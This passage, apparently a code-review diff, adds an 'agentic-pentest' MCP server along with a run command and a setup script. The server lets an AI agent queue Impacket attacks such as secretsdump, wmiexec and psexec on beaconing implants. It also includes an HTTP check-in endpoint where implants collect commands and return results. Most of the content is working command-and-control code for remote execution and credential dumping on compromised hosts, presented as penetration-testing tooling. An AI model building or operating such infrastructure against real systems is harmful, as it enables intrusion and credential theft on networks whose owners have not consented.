|
||||||
|
"request_id": request_id,
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"status": "queued"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def impacket(script_name: str, target: str = None, username: str = None, password: str = None, domain: str = None, extra_args: str = "") -> dict:
|
||||||
|
"""
|
||||||
|
Queue an Impacket tool execution on a registered implant.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
script_name: Impacket script name (e.g., secretsdump, smbclient, getusers,
|
||||||
|
lookupsid, samrdump, wmiexec, psexec, etc.)
|
||||||
|
target: Target IP address or hostname
|
||||||
|
username: Username for authentication (optional)
|
||||||
|
password: Password for authentication (optional)
|
||||||
|
domain: Domain name (optional)
|
||||||
|
extra_args: Additional command-line arguments to pass to the script
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with request_id to track the execution status
|
||||||
|
"""
|
||||||
|
# Find first online implant
|
||||||
|
implant_id = None
|
||||||
|
for iid, info in implants.items():
|
||||||
|
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
|
||||||
|
implant_id = iid
|
||||||
|
break
|
||||||
|
|
||||||
|
if not implant_id:
|
||||||
|
return {"error": "No online implants available"}
|
||||||
|
|
||||||
|
params = {
|
||||||
|
"script_name": script_name,
|
||||||
|
"target": target,
|
||||||
|
"username": username,
|
||||||
|
"password": password,
|
||||||
|
"domain": domain,
|
||||||
|
"extra_args": extra_args
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = queue_command(implant_id, "impacket", params)
|
||||||
|
return {
|
||||||
|
"request_id": request_id,
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"status": "queued",
|
||||||
|
"message": f"Impacket script '{script_name}' queued for target {target or 'N/A'}"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def get_result(request_id: str) -> dict:
|
||||||
|
"""
|
||||||
|
Retrieve the result of a previously queued command.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
request_id: The request ID returned when queuing the command
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with the command result or status
|
||||||
|
"""
|
||||||
|
if request_id in results:
|
||||||
|
return results[request_id]
|
||||||
|
return {"status": "pending", "message": "Result not yet available"}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def list_implants() -> dict:
|
||||||
|
"""
|
||||||
|
List all registered implants and their status.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with implant information
|
||||||
|
"""
|
||||||
|
now = time.time()
|
||||||
|
implant_list = []
|
||||||
|
for iid, info in implants.items():
|
||||||
|
online = (now - info["last_seen"]) < BEACON_TIMEOUT
|
||||||
|
pending = len(command_queue[iid])
|
||||||
|
implant_list.append({
|
||||||
|
"implant_id": iid,
|
||||||
|
"online": online,
|
||||||
|
"last_seen": time.strftime("%H:%M:%S", time.localtime(info["last_seen"])),
|
||||||
|
"pending_commands": pending
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
"total_implants": len(implant_list),
|
||||||
|
"online": sum(1 for i in implant_list if i["online"]),
|
||||||
|
"implants": implant_list
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def server_status() -> dict:
|
||||||
|
"""
|
||||||
|
Check the status of the MCP server.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with server configuration and status
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
"server": "agentic-pentest-mcp",
|
||||||
|
"architecture": "beaconing",
|
||||||
|
"registered_implants": len(implants),
|
||||||
|
"online_implants": sum(1 for i in implants.values() if time.time() - i["last_seen"] < BEACON_TIMEOUT),
|
||||||
|
"total_queued_commands": sum(len(q) for q in command_queue.values()),
|
||||||
|
"status": "running"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# HTTP endpoint for implant check-ins
|
||||||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
import threading
|
||||||
|
|
||||||
|
class ImplantCheckInHandler(BaseHTTPRequestHandler):
|
||||||
|
def validate_api_key(self):
|
||||||
|
"""Validate the X-API-Key header if API key auth is enabled."""
|
||||||
|
if not API_KEY:
|
||||||
|
return True # No auth required
|
||||||
|
|
||||||
|
provided_key = self.headers.get('X-API-Key')
|
||||||
|
if not provided_key or provided_key != API_KEY:
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def send_auth_error(self):
|
||||||
|
"""Send a 401 Unauthorized response."""
|
||||||
|
self.send_response(401)
|
||||||
|
self.send_header('Content-Type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(json.dumps({"error": "Unauthorized: invalid or missing API key"}).encode())
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
if not self.validate_api_key():
|
||||||
|
self.send_auth_error()
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.path == "/check_in":
|
||||||
|
content_length = int(self.headers.get('Content-Length', 0))
|
||||||
|
body = json.loads(self.rfile.read(content_length))
|
||||||
|
|
||||||
|
implant_id = body.get("implant_id")
|
||||||
|
register_implant(implant_id)
|
||||||
|
|
||||||
|
# Get pending commands for this implant
|
||||||
|
pending = get_pending_commands(implant_id)
|
||||||
|
|
||||||
|
response = {
|
||||||
|
"commands": pending,
|
||||||
|
"timestamp": time.time()
|
||||||
|
}
|
||||||
|
|
||||||
|
# Clear the queue since we're sending commands
|
||||||
|
command_queue[implant_id].clear()
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(json.dumps(response).encode())
|
||||||
|
|
||||||
|
elif self.path == "/report_result":
|
||||||
|
content_length = int(self.headers.get('Content-Length', 0))
|
||||||
|
body = json.loads(self.rfile.read(content_length))
|
||||||
|
|
||||||
|
request_id = body.get("request_id")
|
||||||
|
result = body.get("result")
|
||||||
|
store_result(request_id, result)
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(json.dumps({"status": "received"}).encode())
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.send_response(404)
|
||||||
|
self.end_headers()
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
logger.info(f"[Implant HTTP] {format % args}")
|
||||||
|
|
||||||
|
|
||||||
|
def start_implant_http_server(port=8001):
|
||||||
|
"""Start the HTTP server for implant check-ins."""
|
||||||
|
httpd = HTTPServer(("0.0.0.0", port), ImplantCheckInHandler)
|
||||||
|
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
logger.info(f"Implant check-in server listening on :{port}")
|
||||||
|
return httpd
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# Start implant HTTP server
|
||||||
|
start_implant_http_server(8001)
|
||||||
|
|
||||||
|
if len(sys.argv) > 1 and sys.argv[1] == "--http":
|
||||||
|
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000
|
||||||
|
logger.info(f"Starting agentic-pentest MCP server on http://0.0.0.0:{port}")
|
||||||
|
server.run(transport="http", host="0.0.0.0", port=port)
|
||||||
|
else:
|
||||||
|
logger.info("Starting agentic-pentest MCP server (stdio transport)")
|
||||||
|
server.run()
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
export IMPLANT_API_KEY="YOUR_KEY_HERE"
|
||||||
|
python3 server.py --http SERVER_PORT
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Agentic Pentest MCP - Setup Script
|
||||||
|
# Creates a Python virtual environment and installs dependencies.
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
# Detect if running as root (common in containers)
|
||||||
|
if [ "$(id -u)" = "0" ]; then
|
||||||
|
SUDO=""
|
||||||
|
else
|
||||||
|
SUDO="sudo"
|
||||||
|
fi
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
VENV_DIR="$SCRIPT_DIR/.venv"
|
||||||
|
|
||||||
|
echo "=== Agentic Pentest MCP Setup ==="
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Check for Python 3
|
||||||
|
if ! command -v python3 &> /dev/null; then
|
||||||
|
echo "Error: python3 not found. Please install Python 3 first."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
PYTHON_VERSION=$(python3 --version | cut -d' ' -f2)
|
||||||
|
echo "Found Python $PYTHON_VERSION"
|
||||||
|
|
||||||
|
# Validate or create virtual environment
|
||||||
|
if [ ! -d "$VENV_DIR" ] || [ ! -f "$VENV_DIR/bin/activate" ]; then
|
||||||
|
# Remove broken/incomplete venv if it exists
|
||||||
|
if [ -d "$VENV_DIR" ]; then
|
||||||
|
echo "Removing incomplete virtual environment..."
|
||||||
|
rm -rf "$VENV_DIR"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "Creating virtual environment at .venv/"
|
||||||
|
|
||||||
|
# Try to create venv, install python3-venv package if needed (Debian/Ubuntu)
|
||||||
|
if ! python3 -m venv "$VENV_DIR" 2>/dev/null; then
|
||||||
|
echo "Trying to install python3-venv package..."
|
||||||
|
if command -v apt-get &> /dev/null; then
|
||||||
|
$SUDO apt-get update && $SUDO apt-get install -y python3-venv
|
||||||
|
elif command -v dnf &> /dev/null; then
|
||||||
|
$SUDO dnf install -y python3-venv
|
||||||
|
fi
|
||||||
|
python3 -m venv "$VENV_DIR"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "Virtual environment already exists at .venv/"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Install dependencies using venv's pip directly
|
||||||
|
echo ""
|
||||||
|
echo "Installing dependencies..."
|
||||||
|
"$VENV_DIR/bin/pip" install --upgrade pip > /dev/null 2>&1
|
||||||
|
"$VENV_DIR/bin/pip" install -r "$SCRIPT_DIR/requirements.txt"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "=== Setup Complete ==="
|
||||||
|
echo ""
|
||||||
|
echo "To start the server:"
|
||||||
|
echo " source .venv/bin/activate"
|
||||||
|
echo " export IMPLANT_API_KEY='your-secret-key'"
|
||||||
|
echo " python3 server.py --http 8000"
|
||||||
|
echo ""
|
||||||
|
echo "Or run everything in one command:"
|
||||||
|
echo " source .venv/bin/activate && export IMPLANT_API_KEY='your-secret-key' && python3 server.py --http 8000"
|
||||||
Reference in new issue
Block a user